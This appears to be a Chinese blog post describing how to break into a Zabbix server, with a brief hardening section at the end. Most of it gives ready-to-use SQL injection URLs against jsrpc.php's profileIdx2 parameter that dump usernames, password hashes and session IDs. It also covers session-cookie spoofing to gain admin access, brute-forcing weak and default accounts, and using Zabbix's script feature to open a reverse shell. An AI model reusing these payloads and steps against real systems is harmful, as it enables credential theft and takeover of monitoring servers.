zoukankan      html  css  js  c++  java
  • zabbix服务漏洞利用入侵服务器

    zabbix服务开放端口为10051,浏览器访问http://IP/zabbix进行配置即可访问zabbix的前台页面。

    漏洞利用:

    1、sql注入漏洞探测:

    在攻击机访问的zabbix的地址后面加上如下url:

    /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
    estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
    story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
    e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
    17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
    mark_color=1
    

     输出结果,若包含:You have an error in your SQL syntax;表示漏洞存在。

    如果不行可以利用jsrpc的profileIdx2参数sql注入,具体操作如下:

    jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype

     

     获取密码:

    jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
    

     

     获取sessionid:

    http://192.168.10.131/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17
    

     用户名密码及sessionid值都已得到,可以先对密码md5解密,解密成功可直接进入后台。解密不成功可以用sessionid值进行Cookie欺骗替换zbx_sessionid即可成功以administrator登陆。这里利用Cookie欺骗进行测试,经过御剑扫描发现setup.php页面,但是没有权限登陆。

     我们把这个页面的zbx_sessionid替换成注入出来的sessionid值,刷新后即可看到安装页面。

     

     此时再次访问http://192.168.10.131/zabbix/,即可成功进入后台。

     

     以上这一波操作都是借鉴某个大佬的,我自己其实没有复现,因为没有发现sql注入的漏洞;再此记录一下,以防后面有迹可循。

    接下来是我自己的一波操作:

    2、弱口令爆破:

    zabbix 默认账户Admin密码zabbix,尝试爆破了一轮没有成功,还有一个默认账户:guest,这个账号是没有密码的,于是登录进去,这个账号权限较小,不能创建scrpt。

    于是用内部员工的姓名账号进行一波弱口令爆破,很幸运的爆出来了一个弱口令账户还是管理员的权限;

    接下来就利用此账号登录zabbix,进行反弹shell操作了:

    (1)点击: 管理>脚本>创建脚本

    (2)添加反弹shell的脚本:

     

    (3)运行脚本进行反弹shell:

     在运行shell之前,先在本机上监听8887端口,运行shell成功之后会有shell反弹回来:

     至此,已经成功入侵到服务器了。

    zabbix安全加固

     下面说一下如何对zabbix安全加固,防止这种情况发生:

    1、很重要的一点,zabbix的登录口令一定要复杂,不要用默认口令或弱口令,禁用guest登录功能;

    2、zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;

    3、禁止agent执行system.run,不要设置EnableRemoteCommands=1。

  • 相关阅读:
    软件工程——数独 性能测试2
    软件工程——数独 性能测试1
    软件工程——数独 测试3
    软件工程——数独 测试2
    软件工程——数独 测试1
    软件工程——数独 软件设计1
    软件工程——数独需求分析4 软件需求规格说明书
    接口自动化测试从入门到高级实战
    做到这几点,你也能成为 BAT 的抢手人才(下)
    做到这几点,你也能成为 BAT 的抢手人才!
  • 原文地址:https://www.cnblogs.com/xiehong/p/13204270.html
Copyright © 2011-2022 走看看